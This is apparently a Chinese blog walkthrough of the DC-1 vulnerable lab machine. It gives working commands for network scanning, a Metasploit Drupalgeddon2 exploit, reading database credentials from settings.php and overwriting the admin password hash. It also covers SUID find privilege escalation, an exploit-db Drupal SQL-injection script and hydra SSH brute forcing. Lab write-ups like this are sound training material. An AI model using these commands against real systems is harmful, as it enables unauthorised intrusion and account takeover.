DC-1靶场

一.环境搭建

下载地址

http://www.five86.com/downloads/DC-1.zip

把桥接设置为nat模式,打开靶机的时候会提示几个错误,点击重试即可

启动靶机,如下图所示即可

二.开始打靶 

1.信息收集

arp-scan -l

扫描跟kali(攻击机) 同一网段开了哪些ip,也就是发现靶机ip

我的攻击机ip为192.168.111.128,靶机ip为192.168.111.129

用nmap扫一下靶机开放的端口

nmap 192.168.111.129 -p1-65535 

 开放了22/80/111/60677

我们先访问一下80端口,看一下是什么

也可以用以下工具得知是drupal cms

whatweb -v 192.168.111.129

根据以上操作,我们可以搜集到如下信息

端口号22/80/111/60677

drupal cms 7

PHP 5.4.45

Apache 2.2.22

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

一搜发现这么多漏洞,进msf搜一下drupal,直接百度也行,一般这种nday都有大佬发教程

 

 2.漏洞探测与利用

打开msf,搜索drupal

msfconsole

search drupal

 选择exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

查看需要配置的内容

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set

set rhosts 192.168.111.129
run

进行运行

 3.getshell

得到shell,输入shell

shell

弄一个交互式的shell,用python起一个(必须靶机安装了python环境才行)

python -c 'import pty; pty.spawn("/bin/bash")'

 

查看flag1.txt,发现提示,每个好的cms都需要一个配置文件,你也一样

4.数据库渗透

开始找配置文件

cat `find / -name settings.php`

我们获取到了他的数据库账号密码和flag2

 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
暴力破解和目录攻击不是唯一获取权限的方法(你需要权限),你能用这些凭证做些什么呢

使用配置文件中的数据库账号密码进行登录 

查看有哪些库

show databases;

使用drupaldb库并且查看表

use drupaldb;show tables;

下面有一个users表,进入这个表进行查看

select * from users;
select * from users\G;

 也可以使用下面这条命令,/G 的作用是将查到的结构旋转90度变成纵向(我没试)

获得两个用户

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |  

 看这么复杂,而且在配置文件中找到slat也很长,撞库基本上不可能实现,所以用替换密码的方式获得用户登录权限,将一个已知的密码通过cms的算法加密后生成的hash,替换掉已存在用户的密码hash,就算是修改密码了

忘记Drupal的管理员密码的解决办法

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法

在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

php scripts/password-hash.sh admin

输出:

password: admin                 hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

 durpal的加密脚本存在此地址

/var/www/scripts/password-hash.sh

先退出mysql界面

exit;

 打开加密脚本,查看里面的内容

cat /var/www/scripts/password-hash.sh

 脚本是php代码,要求我们输入一个密码,它会返回一个加密后的hash

用php运行这个脚本,输出123456的hash 

php /var/www/scripts/password-hash.sh 123456

password: 123456 		hash: $S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu

登录到mysql后,将这个hash替换到admin账户的密码

mysql -udbuser -pR0ck3t
 
use drupaldb;update users set pass = "$S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu" where name = 'admin' or name = 'Fred';

 

 进入界面,输入账号密码admin/123456

点击这个content,会有一个flag3 

点击这个flag3,会给你提示 

 特殊权限会帮助你找到密码,但是你需要-exec(执行)命令去确定如何获得这个shadow(菜鸡翻译,敬请见谅)

 根据提示,我们输出一下passwd的内容

cat /etc/passwd

我们可以看到有一个flag4在这

切换到flag4的/home/flag4目录 ,查看有什么文件

cd /home/flag4
ls

你能用同样的方法去找到或者访问在root的flag吗

大概。 但是也许这并不容易。 也许是?

5.提权

现在要开始提升权限了

利用suid提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

看到有find,直接用find提权

find / -exec "/bin/bash" -p \;
cd /root
ls

 

获取到root权限后,直接cd 到/root目录,看到最终的flag

cat thefinalflag.txt

 

 这个靶机还是非常简单的,按照其他大佬的wp打下来十分顺畅

三.其他方法

为什么这么写,是因为我想有个流畅的打靶体验,先通关再说

1.在数据库渗透的过程中,通过sql注入漏洞创建用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

 

searchsploit 34992.py -p

 

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py

 这个软件给出了usage,可以进行尝试

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.111.129 -u test -p 123456

进入界面用test/123456进行登录,登录成功 

2.在查看flag4的时候可以不用提权,爆破flag4用户的ssh密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.129

 爆破到flag4的ssh密码为orange,进行连接,查看文件

  • 23
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值